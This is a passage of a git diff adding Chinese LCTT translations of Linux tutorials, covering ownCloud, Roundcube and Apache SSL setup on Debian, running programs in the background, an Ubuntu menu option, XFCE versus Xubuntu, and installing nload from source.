+安装Owncloud非常直观,而且在[这里][36]有非常好的介绍。在Debian系统里,归根结底就是把owncloud的仓库添加到apt源里,下载Owncloud的发行密钥并安装到apt钥匙链中,然后通过apt-get安装Owncloud: + + echo 'deb http://download.opensuse.org/repositories/isv:/ownCloud:/community/Debian_7.0/ /' >> /etc/apt/sources.list.d/owncloud.list + wget http://download.opensuse.org/repositories/isv:ownCloud:community/Debian_6.0/Release.key + apt-key add - < Release.key + apt-get update + apt-get install apache2 owncloud roundcube + +在有提示的时候,选择**dbconfig**并设置**roundcube**使用**mysql**。然后,提供一下mysql的root密码并为roundcube的mysql用户设置一个漂亮的密码。然后,按如下方式编辑roundcube的配置文件**/etc/roundcube/main.inc.php**,这样登录roundcube默认会使用你的IMAP服务器: + + $rcmail_config['default_host'] = 'ssl://localhost'; + $rcmail_config['default_port'] = 993; + +现在我们来配置一下apache2网页服务器增加SSL支持,这样我们可以和Owncloud和Roundcube对话时使用加密的方式传输我们的密码和数据。让我们打开Apache的SSL模块: + + a2enmod ssl + +然后编辑文件**/etc/apache2/ports.conf**并设定以下参数: + + NameVirtualHost *:80 + Listen 80 + ServerName www.jhausse.net + + + # If you add NameVirtualHost *:443 here, you will also have to change + # the VirtualHost statement in /etc/apache2/sites-available/default-ssl + # to + # Server Name Indication for SSL named virtual hosts is currently not + # supported by MSIE on Windows XP. + NameVirtualHost *:443 + Listen 443 + + + + Listen 443 + + +我们将在目录**/var/www**下为服务器加密连接**https://www.jhausse.net**设定一个默认网站。编辑文件**/etc/apache2/sites-available/default-ssl**: + + + ServerAdmin webmaster@localhost + + DocumentRoot /var/www + ServerName www.jhausse.net + [...] + + Deny from all + + [...] + SSLCertificateFile /etc/ssl/certs/cloud.crt + SSLCertificateKeyFile /etc/ssl/private/cloud.key + [...] + + +然后让我们同时也在目录**/var/www**下设定一个非加密连接**http://www.jhausse.net**的默认网站。编辑文件**/etc/apache2/sites-available/default**: + + + DocumentRoot /var/www + ServerName www.jhausse.net + [...] + + Deny from all + + + +这样的话,我们通过把文件放到/var/www目录下让www.jhausse.net使用它们提供网站服务。名叫'Deny from all'的指令可以阻止通过www.jhausse.net访问Owncloud:我们将设定通过**https://cloud.jhausse.net**来正常访问。 + +现在我们将设定网页邮件(roundcube),让它可以通过网址**https://webmail.jhausse.net**来访问。编辑文件**/etc/apache2/sites-available/roundcube**并写入以下内容: + + + + ServerAdmin webmaster@localhost + + DocumentRoot /var/lib/roundcube + # The host name under which you'd like to access the webmail + ServerName webmail.jhausse.net + + Options FollowSymLinks + AllowOverride None + + + ErrorLog ${APACHE_LOG_DIR}/error.log + + # Possible values include: debug, info, notice, warn, error, crit, + # alert, emerg. + LogLevel warn + + CustomLog ${APACHE_LOG_DIR}/ssl_access.log combined + + # SSL Engine Switch: + # Enable/Disable SSL for this virtual host. + SSLEngine on + + # do not allow unsecured connections + # SSLRequireSSL + SSLCipherSuite HIGH:MEDIUM + + # A self-signed (snakeoil) certificate can be created by installing + # the ssl-cert package. See + # /usr/share/doc/apache2.2-common/README.Debian.gz for more info. + # If both key and certificate are stored in the same file, only the + # SSLCertificateFile directive is needed. + SSLCertificateFile /etc/ssl/certs/cloud.crt + SSLCertificateKeyFile /etc/ssl/private/cloud.key + + # Those aliases do not work properly with several hosts on your apache server + # Uncomment them to use it or adapt them to your configuration + Alias /program/js/tiny_mce/ /usr/share/tinymce/www/ + + # Access to tinymce files + + Options Indexes MultiViews FollowSymLinks + AllowOverride None + Order allow,deny + allow from all + + + + Options +FollowSymLinks + # This is needed to parse /var/lib/roundcube/.htaccess. See its + # content before setting AllowOverride to None. + AllowOverride All + order allow,deny + allow from all + + + # Protecting basic directories: + + Options -FollowSymLinks + AllowOverride None + + + + Options -FollowSymLinks + AllowOverride None + Order allow,deny + Deny from all + + + + Options -FollowSymLinks + AllowOverride None + Order allow,deny + Deny from all + + + + SSLOptions +StdEnvVars + + + SSLOptions +StdEnvVars + + # SSL Protocol Adjustments: + # The safe and default but still SSL/TLS standard compliant shutdown + # approach is that mod_ssl sends the close notify alert but doesn't wait for + # the close notify alert from client. When you need a different shutdown + # approach you can use one of the following variables: + # o ssl-unclean-shutdown: + # This forces an unclean shutdown when the connection is closed, i.e. no + # SSL close notify alert is send or allowed to received. This violates + # the SSL/TLS standard but is needed for some brain-dead browsers. Use + # this when you receive I/O errors because of the standard approach where + # mod_ssl sends the close notify alert. + # o ssl-accurate-shutdown: + # This forces an accurate shutdown when the connection is closed, i.e. a + # SSL close notify alert is send and mod_ssl waits for the close notify + # alert of the client. This is 100% SSL/TLS standard compliant, but in + # practice often causes hanging connections with brain-dead browsers. Use + # this only for browsers where you know that their SSL implementation + # works correctly. + # Notice: Most problems of broken clients are also related to the HTTP + # keep-alive facility, so you usually additionally want to disable + # keep-alive for those clients, too. Use variable "nokeepalive" for this. + # Similarly, one has to force some clients to use HTTP/1.0 to workaround + # their broken HTTP/1.1 implementation. Use variables "downgrade-1.0" and + # "force-response-1.0" for this. + BrowserMatch "MSIE [2-6]" \ + nokeepalive ssl-unclean-shutdown \ + downgrade-1.0 force-response-1.0 + # MSIE 7 and newer should be able to use keepalive + BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown + + + +然后在你的DNS服务商那里声明一下服务器,例如: + + webmail.jhausse.net. 300 IN CNAME cloud.jhausse.net. + +现在让我激活这三个网站 + + a2ensite default default-ssl roundcube + service apache2 restart + +关于网页邮件,可以通过网址**https://webmail.jhausse.net**来访问,基本上能工作。之后使用邮箱全名(例如roudy@jhausse.net)和在本文一开始在邮件服务器数据库里设定的密码登录。第一次连接成功,浏览器会警告说证书没有可靠机构的签名。这个没什么关系,只要添加一个例外即可。 + +最后但很重要的是,我们将通过把以下内容写入到**/etc/apache2/sites-available/owncloud**来为Owncloud创建一个虚拟主机。 + + + + ServerAdmin webmaster@localhost + + DocumentRoot /var/www/owncloud + ServerName cloud.jhausse.net + + Options FollowSymLinks + AllowOverride None + + + Options Indexes FollowSymLinks MultiViews + AllowOverride All + Order allow,deny + allow from all + + + ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ + + AllowOverride None + Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch + Order allow,deny + Allow from all + + + ErrorLog ${APACHE_LOG_DIR}/error.log + + # Possible values include: debug, info, notice, warn, error, crit, + # alert, emerg. + LogLevel warn + + CustomLog ${APACHE_LOG_DIR}/ssl_access.log combined + + # SSL Engine Switch: + # Enable/Disable SSL for this virtual host. + SSLEngine on + + # do not allow unsecured connections + # SSLRequireSSL + SSLCipherSuite HIGH:MEDIUM + SSLCertificateFile /etc/ssl/certs/cloud.crt + SSLCertificateKeyFile /etc/ssl/private/cloud.key + + + SSLOptions +StdEnvVars + + + SSLOptions +StdEnvVars + + + BrowserMatch "MSIE [2-6]" \ + nokeepalive ssl-unclean-shutdown \ + downgrade-1.0 force-response-1.0 + # MSIE 7 and newer should be able to use keepalive + BrowserMatch "MSIE [17-9]" ssl-unclean-shutdown + + + +然后通过执行以下命令激活Owncloud + + a2ensite owncloud + service apache2 reload + +之后通过在浏览器里打开链接**https://cloud.jhausse.net/**配置一下Owncloud。 + +就这些了!现在你已经拥有自己的Google Drive,日程表,联系人,Dropbox,以及Gmail!好好享受下新鲜恢复保护的隐私吧!:-) + +## 在云上同步你的设备 ## + +要同步你的邮件,你只需用你喜欢的邮件客户端即可:Android或iOS自带的默认邮件应用,[k9mail][37],或者电脑上的Thunderbird。或者你也可以使用我们设置好的网页邮件。 + +在Owncloud的文档里描述了如何与云端同步你的日程表和联系人。在Android系统中,我用的是CalDAV-Sync,CardDAV-Sync应用桥接了手机上Android自带日历以及联系人应用和Owncloud服务器。 + +对于文件,有一个叫Owncloud的Android应用可以访问你手机上的文件,然后自动把你拍的图片和视频上传到云中。在你的Mac/PC上访问云端文件也很容易,在[Owncloud文档里有很好的描述][38]。 + +## 最后一点提示 ## + +在上线后的前几个星期里,最好每天检查一下日志**/var/log/syslog**和**/var/log/mail.log**以保证一切都在顺利运行。在你邀请其他人(朋友,家人,等等)加入你的服务器之前这很重要。他们信任你能很好地架设个人服务器维护他们的数据,但是如果服务器突然崩溃会让他们很失望。 + +要添加另一个邮件用户,只要在数据库**mailserver**的**virtual\_users**表中增加一行。 + +要添加一个域名,只要在**virtual_domains**表中增加一行。然后更新**/etc/opendkim/SigningTable**为发出的邮件签名,上传OpenDKIM密钥到服务器区域,然后重启OpenDKIM服务。 + +Owncloud有自己的用户数据库,在用管理员帐号登录后可以修改。 + +最后,万一在服务器临时崩溃的时候想办法找解决方案很重要。比如说,在服务器恢复之前你的邮件应该送往哪儿?一种方式是找个能帮你做备份MX的朋友,同时你也可以当他的备份MX(看下postfix的配置文件**main.cf**里**relay\_domains**和**relay\_recipient\_maps**里的设定)。与此类似,如果你的服务器被破解然后一个坏蛋把你所有文件删了怎么办?对于这个,考虑增加一个常规备份系统就很重要了。Linode提供了备份选项。在1984.is里,我用crontabs和scp做了一个基本但管用的自动备份系统。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/ + +作者:[Roudy Jhausse][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:aboutlinux@free.fr +[1]:https://history.google.com/history/ +[2]:http://research.google.com/workatgoogle.html +[3]:http://www.attac.org/ +[4]:http://www.nytimes.com/2012/02/19/magazine/shopping-habits.html?pagewanted=all +[5]:http://vimeo.com/ondemand/termsandconditions +[6]:http://www.techtimes.com/articles/21670/20141208/sony-pictures-hack-nightmare-week-celebs-data-leak-and-threatening-emails-to-employees.htm +[7]:http://blog.backupify.com/2012/07/25/what-is-my-gmail-account-really-worth/ +[8]:http://adage.com/article/digital/worth-facebook-google/293042/ +[9]:http://vimeo.com/ondemand/termsandconditions +[10]:https://prism-break.org/en/ +[11]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#VPS +[12]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#mail +[13]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#dspam +[14]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#SPF +[15]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#owncloud +[16]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#sync +[17]:http://linuxfr.org/news/heberger-son-courriel +[18]:http://sealedabstract.com/code/nsa-proof-your-e-mail-in-2-hours/ +[19]:http://www.1984.is/ +[20]:http://www.linode.com/ +[21]:http://www.greenpeace.org/international/Global/international/publications/climate/2012/iCoal/HowCleanisYourCloud.pdf +[22]:http://www.1984.is/about/ +[23]:http://www.fsf.org/ +[24]:https://www.gnupg.org/ +[25]:http://www.gandi.net/ +[26]:http://www.codinghorror.com/blog/2010/04/so-youd-like-to-send-some-email-through-code.html +[27]:http://www.postfix.org/ +[28]:http://postgrey.schweikert.ch/ +[29]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#testPort25 +[30]:http://dspam.sourceforge.net/ +[31]:http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/ +[32]:https://www.howtoforge.com/tutorial/build-your-own-cloud-on-debian-wheezy/#PTR +[33]:http://opendkim.org/opendkim-README +[34]:http://www.brandonchecketts.com/emailtest.php +[35]:http://owncloud.org/ +[36]:http://owncloud.org/install/ +[37]:https://code.google.com/p/k9mail/ +[38]:http://doc.owncloud.org/server/7.0/user_manual/files/files.html diff --git a/published/201503/20150115 How To Run Linux Applications From The Terminal In Background Mode.md b/published/201503/20150115 How To Run Linux Applications From The Terminal In Background Mode.md new file mode 100644 index 0000000000..9c6f853a30 --- /dev/null +++ b/published/201503/20150115 How To Run Linux Applications From The Terminal In Background Mode.md @@ -0,0 +1,90 @@ +如何在终端使用后台运行模式启动一个Linux应用程序 +======================================================================== + +![Linux终端窗口](http://f.tqn.com/y/linux/1/W/r/G/1/terminal.JPG) + +这是一个篇幅不长但是十分有用的教程,可以帮助你在终端启动一个Linux应用程序,并且使终端窗口不会丢失焦点。 + +我们有很多可以在Linux系统中打开一个终端窗口的方法,这取决于你的选择以及你的桌面环境。 + +如果是使用Ubuntu的话,你可以利用CTRL+ALT+T组合键打开终端。当然你也可以使用超级键(Windows键)[打开Dash][1],搜索“TERM”,然后点击“Term”图标来打开终端窗口。 + +对于其他的桌面环境来说,例如XFCE、KDE、LXDE、Cinnamon以及MATE,你可以在菜单中找到终端。有些环境会在停靠栏或者面板上面包含终端图标。 + +通常情况下,你可以在终端里面直接输入应用程序名来启动一个应用程序。比如说,你可以通过输入“firefox”来启动Firefox。 + +在终端启动应用程序的好处是,你可以包含一些额外的参数。 + +例如,你可以通过下列命令来打开一个Firefox浏览窗口,然后利用默认的搜索引擎搜索相关信息: + + firefox -search "linux.cn" + +你可能会注意到,如果你启动Firefox,程序打开以后,回到了终端窗口控制,这就意味着你可以继续在终端进行工作。 + +通常情况下,如果你在终端启动了应用程序,控制会切换到新启动的应用程序,只有程序被关闭以后才会重新切换到终端控制。这是因为你在前台启动了这个程序。 + +如果要在Linux终端打开应用程序并且返回终端控制,那么你需要将应用程序启动为后台进程。 + +和下面所列的命令一样,我们可以通过增加一个(&)符号,将应用程序在后台启动。 + + libreoffice & + +>译者注:如果需要加参数的话,记得把&符号放在最后。 + +>译者注:一般情况下,关闭终端时,在这个终端启动的后台程序也会被终止,要使终端关闭以后,后台程序依然保持执行可以使用下列命令 + +> nohup command [arg...] & + +如果应用程序目录没有安装在PATH变量包含的目录里面的话,我们就没有办法直接通过应用程序名来启动程序,必须输入应用程序的整个路径来启动它。 + + /path/to/yourprogram & + +如果你不确定程序输入哪个Linux目录结构的话,可以使用[find][2]或者[location][3]命令来定位它。 + +可以输入下列符号来找到一个文件: + + find /path/to/start/from -name programname + +例如,你可以输入下列命令来找到Firefox: + + find / -name firefox + +命令运行的结果会嗖的一下输出一大堆,别担心,你也可以通过[less][4]或者[more][5]来进行分页查看。 + + find / -name firefox | more + + find / -name firefox | less + +当find命令查找到没有权限访问的文件夹时,会报出一条拒绝访问错误, + +你可以通过[sudo命令来提示权限][6]。当然,如果你没有安装sudo的话,就只能切换到一个拥有权限的用户了。 + + sudo find / -name firefox | more + +如果你知道你要查找的文件在你的当前目录结构中,那么你可以使用点来代替斜杠: + + sudo find . -name firefox | more + +你可能需要sudo来提升权限,也可能根本就不需要,如果这个文件在你的主目录里面,那么就不需要使用sudo。 + +有些应用程序则必须要提升权限才能运行,否则你就会得到一大堆拒绝访问错误,除非你使用一个具有权限的用户或者使用sudo提升权限。 + +这里有个小窍门。如果你运行了一个程序,但是它需要提升权限来操作,输入下面命令试试: + + sudo !! + +via : http://linux.about.com/od/commands/fl/How-To-Run-Linux-Programs-From-The-Terminal-In-Background-Mode.htm + +作者:[Gary Newell][a] +译者:[zhouj-sh](https://github.com/zhouj-sh) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[1]:http://linux.about.com/od/howtos/fl/Learn-Ubuntu-The-Unity-Dash.htm +[2]:http://linux.about.com/od/commands/l/blcmdl1_find.htm +[3]:http://linux.about.com/od/commands/l/blcmdl1_locate.htm +[4]:http://linux.about.com/library/cmd/blcmdl1_less.htm +[5]:http://linux.about.com/library/cmd/blcmdl1_more.htm +[6]:http://linux.about.com/od/commands/l/blcmdl8_sudo.htm diff --git a/published/201503/20150119 Ubuntu 15.04 Finally Lets You Set Menus ToAlways Show.md b/published/201503/20150119 Ubuntu 15.04 Finally Lets You Set Menus ToAlways Show.md new file mode 100644 index 0000000000..3eec1c4a08 --- /dev/null +++ b/published/201503/20150119 Ubuntu 15.04 Finally Lets You Set Menus ToAlways Show.md @@ -0,0 +1,41 @@ +Ubuntu 15.04 终于可以让你将菜单设置为 ‘始终可见’ +================================================================================ +**如果你不喜欢 Unity 的全局菜单在你的鼠标离开后就淡出你的视野,在 Ubuntu 15.04 稍微做点工作就可以留住菜单。** + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/02/locally-integrated-menus-in-ubuntu.png) + +最新的Ubuntu 15.04的Unity界面通过在“提议(Proposed)”通道提供了一个选项,**使应用程序菜单在Ubuntu中始终可见**。 + +这是个不会淡出,也不会过段时间就消失的菜单。 + +最大的缺点是它目前只能通过`dconf`来控制,而不是常规的面向用户的选项设置。 + +我希望(如果预计没有的话)在之后的开发中,能有一个设置这个特性的选项被加入到Ubuntu的【系统设置】>【外观】部分。 + +现在,如果你使用的是 Ubuntu 15.04,并启用了“提议(Proposed)”的更新通道后,你可以在dconf 的com>canonical>Unity>‘always show menus’ 中找到这个开关。 + +### 迟到总比没有要好? ### + +开发者们计划在Ubuntu 14.04 LTS的下一个SRU中反向移植这个选项(假设在测试阶段没有任何意外发生)。 + +本地集成菜单(LIM)在Ubuntu 14.04 LTS 中的首次亮相就赢得了赞誉,其被广泛认为在那些喜欢隐藏方式的与那些不喜欢必须使用鼠标和触摸板的人之间的最佳的折衷方案。 + +虽然在Unity方面本地集成菜单减少了不少批评,不过默认的“淡入/淡出”行为总是还让人不爽。 + +在Ubuntu 过去的几个版本中已经能够看到他们在积极解决早期的用户体验中的几个痛点。经过了几年,在TODO列表中[我们去年终于看到了本地集成菜单][1],以及通过[点击应用图标来实现Unity 启动器中应用的最小化及恢复的选项][2]。 + +一年以来我们终于看到了一个使应用程序菜单始终显示的选项,无论我们的鼠标在哪里。迟来总比没有好,对不对? + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/01/ubuntu-15-04-always-show-menu-bar-option + +作者:[Joey-Elijah Sneddon][a] +译者:[JeffDing](https://github.com/JeffDing) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/02/locally-integrated-menus-ubuntu-14-04 +[2]:http://www.omgubuntu.co.uk/2014/03/minimize-click-launcher-option-ubuntu-14-04 diff --git a/published/201503/20150119 Ubuntu With XFCE vs Xubuntu Linux.md b/published/201503/20150119 Ubuntu With XFCE vs Xubuntu Linux.md new file mode 100644 index 0000000000..f48ee95fa7 --- /dev/null +++ b/published/201503/20150119 Ubuntu With XFCE vs Xubuntu Linux.md @@ -0,0 +1,163 @@ +Ubuntu & XFCE vs Xubuntu +========================================================= + +Ubuntu拥有漂亮的桌面体验以及强大的应用程序。Xubuntu轻量、快速并且可定制,哪个更适合你? + +--------------------------------------------------------- + +![](http://f.tqn.com/y/linux/1/W/T/J/1/ubuntudesktop.png) + +首先,这篇文章不是用来说明Ubuntu比Xubuntu更好或者Xubuntu比Ubuntu更好之类的东西。 + +并且,我同时也会在这篇文章中介绍Ubuntu用户如何获取基本的XFCE桌面,以及如何安装完整的Xubuntu桌面。 + +[Ubuntu][1]以及[Xubuntu][2]是针对不同目的开发的操作系统,为什么我会强调这一点,是为了说明什么时候或者为什么你应该使用Ubuntu或Xubuntu。 + +比较这两个操作系统就像比较[劳斯莱斯][3]与[保时捷][4]。这两个都是很棒的车,但是如果把劳斯莱斯给一个赛车迷,他们也许会卖掉它买个其他的车,同样,如果把保时捷给舒格勋爵或者休·海夫纳这类人可能也不那么合适。 + +Ubuntu拥有一个适用性很强的桌面环境,叫做Unity,并且默认会安装一些很棒的Linux应用程序,包括Rhythmbox以及[LibreOffic][5]。Ubuntu就像是劳斯莱斯。它为舒适而生,并且尽可能的提供满足需要的漂亮的解决方案。 + +作为一个Ubuntu用户,就像汽车里面的乘客。你在到达目的地的过程中就可以同时把事情搞定,并且所有的事看起来都很漂亮并且很简单。 + +另一方面,Xubuntu采用了轻量的[XFCE桌面环境][6]。内置的应用自然也是轻量级的,使用它们也可以完成工作,但是不像Ubuntu自带的应用那么完整。 + +XFCE桌面环境可以高度定制化,你可以把你的桌面搞成任何你想要的形式。 + +Xubuntu就像一个改装过的跑车。你可以把它改装成任何你想要的样子。但不是做为一名乘客,而更像是驾驶员开着它快速漂移过弯,或者小心翼翼的通过狭小的弯角。 + +如果你不关心如何美化或者定制桌面,并且你发现Ubuntu用起来很顺手,那么你没必要切换到Xubuntu。 + +但是,如果你发现Unity没办法满足你的要求,并且感觉你的计算机在运行Ubuntu时或多或少有一些性能压力,那么当然就可以考虑考虑Xubuntu。 + +上周我发了一篇文章介绍怎么[创建Xubuntu启动优盘][c],并且也写了一篇[安装Xubuntu的教程][b](译者注:链接为github地址)。 + +不过,如果你已经安装了Ubuntu,就不用这么费事照着教程再来一遍了。你只需要继续读完这篇文章,就可以在Ubuntu里面安装一个更合适的解决方案。 + +那么如果你已经装了Ubuntu,如何切换到Xubuntu呢? + +你需要做一个选择题。问题是,你是仅仅需要一个更轻量的、可定制化的XFCE桌面,还是同时也需要那些Xubuntu内置的轻量级应用。 + +先来看看这些应用吧。下面有一个列表,列出了Ubuntu和Xubuntu内置的应用程序。如果你只需要几个Xubuntu应用程序,那么我建议你只安装XFCE然后单独安装这些应用。如果你需要一半以上的应用,那就安装整个Xubuntu桌面环境吧。 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ Ubuntu与Xubuntu内置应用对比 +
应用类型UbuntuXubuntu
音频Rhythmboxgmusicbrowser
视频TotemParole
照片管理ShotwellRistretto
办公LibreOfficeAbiword/Gnumeric
浏览器FireFoxFireFox
Email Thunderbird
即时通讯EmpathyPidgin
+ +### 如何在Ubuntu安装XFCE桌面环境 ### + +![默认的XFCE桌面](http://f.tqn.com/y/linux/1/W/U/J/1/xfce1.png) + +接下来,我会使用命令行工具[apt-get][7]介绍在Ubuntu安装XFCE桌面的方法。 + +打开一个终端窗口,在Unity环境,你可以在[Dash][8]中搜索“TERM”,或者使用组合键 `CTRL+ALT+T`。 + +安装XFCE桌面十分简单,输入下列命令就可以了: + +>sudo apt-get update +>sudo apt-get install xfce4 + +点击右上角设置图标然后登出,来切换到[XFCE桌面环境][9]。 + +切换到登入界面以后,点击在你用户名旁边的小Ubuntu图标,就会出现Unity桌面和XFCE桌面的选项。切换到XFCE然后正常登录。 + +系统会显示一个消息,提示你是否使用默认的面板布局或者使用单独的面板。 + +[最新版本的Xubuntu][10]在顶部包含一个单独的面板,不过我更喜欢双面板,顶部一个标准面板,底部一个常用程序的停靠面板。 + +需要注意的是,XFCE桌面菜单系统和Xubuntu的菜单有些差异,除非你安装[一个更好的菜单系统][11],设置两个面板或许是个更好的选择。 + +这取决与选择的是哪个选项,不过没关系,如果后面你改变了主意,也可以很容易重新设置。XFCE可以进行深度的自定义。 + +### 不重新安装的情况下,如何从Ubuntu切换到Xubuntu ### + +![从Ubuntu切换到Xubuntu](http://f.tqn.com/y/linux/1/W/W/J/1/xfce3.png) + +如果你想全都使用Xubuntu的东西,但是又不想按照那些介绍重新安装系统的话,看看下面的东西。 + +通过搜索“TERM”,或者组合键`CTRL+ALT+T`,打开一个终端窗口。 + +在终端输入如下命令: + +>sudo apt-get update +>sudo apt-get install xubuntu-desktop + +花费的时间会比安装XFCE桌面长一些,但是要比重新安装Xubuntu系统要快。 + +安装完成以后,点击右上角图标,然后登出。 + +在登录界面,点击Ubuntu图标。会出现Unity和Xubuntu选项。点击Xubuntu,然后正常登入。 + +Xubuntu桌面就会显示出来啦。 + +这里会有一些差异。菜单仍然是XFCE菜单,而不是Xubuntu菜单。某些图标也不会出现在顶部面板中。但是这些小问题都不足以让我们花时间卸载Ubuntu然后重装Xubuntu。 + +下一篇文章中,我会介绍如何自定义Xubuntu以及XFCE桌面。 + +----- + +via : http://linux.about.com/od/dist/fl/Ubuntu-With-XFCE-vs-Xubuntu-Linux.htm + +作者:[Gary Newell][a] +译者:[zhouj-sh](https://github.com/Zhouj-sh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linux.about.com/bio/Gary-Newell-132058.htm +[b]:https://github.com/ZhouJ-sh/TranslateProject/blob/0c4ad0bc8e79e28c1f7f8ccf805708829baa8ea9/translated/share/20150116%20A%20Step%20By%20Step%20Guide%20To%20Installing%20Xubuntu%20Linux.md +[c]:https://github.com/ZhouJ-sh/TranslateProject/blob/d91316c19c6668b82cfabf9f89e4ad07c7193202/translated/share/20150119%203%20Ways%20To%20Create%20A%20Lightweight%20And%20Persistent%20Xubuntu%20Linux%20USB%20Drive.md +[1]:http://www.everydaylinuxuser.com/2014/11/an-everyday-linux-user-review-of-ubuntu.html +[2]:http://www.everydaylinuxuser.com/2015/01/an-everyday-linux-user-review-of.html +[3]:http://exoticcars.about.com/od/overviewsofmaker1/p/RollsHistory.htm +[4]:http://exoticcars.about.com/od/overviewsofmaker1/p/PorscheHistory.htm +[5]:http://office.about.com/od/FreeOpenSourceOfficeSoftware/a/All-About-Libreoffice-4-0.htm +[6]:http://linux.about.com/cs/linux101/g/xfce.htm +[7]:http://linux.about.com/od/ubusrv_doc/a/ubusg11t01.htm +[8]:http://linux.about.com/od/howtos/fl/Learn-Ubuntu-The-Unity-Dash.htm +[9]:http://linux.about.com/cs/linux101/g/xfce.htm +[10]:http://www.everydaylinuxuser.com/2015/01/an-everyday-linux-user-review-of.html +[11]:http://xubuntugeek.blogspot.co.uk/2013/12/how-to-install-whisker-menu-in-xubuntu.html diff --git a/published/201503/20150121 How to Monitor Network Usage with nload in Linux.md b/published/201503/20150121 How to Monitor Network Usage with nload in Linux.md new file mode 100644 index 0000000000..e94489c554 --- /dev/null +++ b/published/201503/20150121 How to Monitor Network Usage with nload in Linux.md @@ -0,0 +1,202 @@ +在linux中如何通过nload来监控网络使用情况 +================================================================================ +nload 是一个 linux 自由软件工具,通过提供两个简单的图形来帮助linux用户和系统管理员来实时监控网络流量以及宽带使用情况:一个是进入流量,一个是流出流量。 + +我真的很喜欢用**nload**来在屏幕上显示当前的下载速度、总的流入量和平均下载速度等信息。nload工具的报告图非常容易理解,最重要的是这些信息真的非常有用。 + +在其使用手册上说到,在默认情况下它会监控所有网络设备。但是你可以轻松地指定你想要监控的设备,而且可以通过方向键在不同的网络设备之间进行转换。另外还有很多的选项可用,例如 ‘-t’选项以毫秒来设定刷新显示时间间隔(默认时间间隔值是500毫秒),‘-m’选项用来同时显示多个设备(在使用该选项时不会显示流量图),‘-u’选项用来设置显示流量数字的单位,另外还有许多其他的选项将会在本教程中探索和练习。 + +### 如何将 nload安装到你的linux机器上 ### + +**Ubuntu** 和 **Fedora** 用户可以从默认的软件仓库中容易地安装。 + +在Ubuntu上使用以下命令进行安装。 + + sudo apt-get install nload + +在Fedora上使用以下命令进行安装。 + + sudo yum install nload + +**CentOS**用户该怎么办呢? 只需要在你的机器上输入以下命令就可以安装成功。 + + sudo yum install nload + +以下的命令会帮助你在OpenBSD系统中安装nload。 + + sudo pkg_add -i nload + +在 linux 机器上的另外一个非常有效的安装软件的方式就是编译源代码,下载并安装最新的版本意味着能够获得更好地性能、更酷的特性以及更少的bug。 + +### 如何通过源代码安装nload ### + +在从源代码安装nload之前,你需要首先下载源代码。 我通常使用wget工具来进行下载--该工具在许多linux机器上默认可用。该免费工具帮助用户以非交互式的方式从网络上下载文件,并支持以下协议: + +- HTTP +- HTTPS +- FTP + +通过以下命令来进入到**/tmp**目录中。 + + cd /tmp + +然后在你的终端中输入以下命令就可以将最新版本的nload下载到你的linux机器上了。 + + wget http://www.roland-riegel.de/nload/nload-0.7.4.tar.gz + +如果你不喜欢使用wget工具,也可以通过简单的一个鼠标点击轻松地从[官网][1]上下载其源代码。 + +由于该软件非常轻巧,其下载过程几乎在瞬间就会完成。接下来的步骤就是通过**tar**工具来将下载的源代码包进行解压。 + +tar归档工具可以用来从磁带或硬盘文档中存储或解压文件,该工具有许多可用的选项,但是我们只需要下面的几个选项来执行我们的操作。 + +1. **-x** 从归档中解压文件 +1. **-v** 使用繁琐模式运行--用来显示详细信息 +1. **-f** 用来指定归档文件 + +例如(LCTT 译注:tar 命令的参数前的“-”可以省略): + + tar xvf example.tar + +现在你学会了如何使用tar工具,我可以非常肯定你知道了如何从命令行中解压这个.tar文档。 + + tar xvf nload-0.7.4.tar.gz + +之后使用cd命令来进入到nload*目录中: + + cd nload* + +在我的系统上看起来是这样的: + + oltjano@baby:/tmp/nload-0.7.4$ + +然后运行下面这个命令来为你的系统配置该软件包: + + ./configure + +此时会有“一大波僵尸”会在你的屏幕上显示出来,下面的一个屏幕截图描述了它的样子。 + +![configuring packages for nload](http://blog.linoxide.com/wp-content/uploads/2015/01/nload1.png) + +在上述命令完成之后,通过下面的命令来编译nload。 + + make + +![compiling nload](http://blog.linoxide.com/wp-content/uploads/2015/01/nload2.png) + +好了,终于....,通过以下命令可以将nload安装在你的机器上了。 + + sudo make install + +![installing nload from source](http://blog.linoxide.com/wp-content/uploads/2015/01/nload3.png) + +安装好nload之后就是让你学习如何使用它的时间了。 + +###如何使用nload### + +我喜欢探索,所以在你的终端输入以下命令. + + nload + +看到了什么? + +我得到了下面的结果。 + +![running nload](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.png) + +如上述截图可以看到,我得到了以下信息: + +#### 流入量#### + +**当前下载速度** + +![nload running on linux](http://blog.linoxide.com/wp-content/uploads/2015/01/nload4.1.png) + +**平均下载速度** + +![nload running on 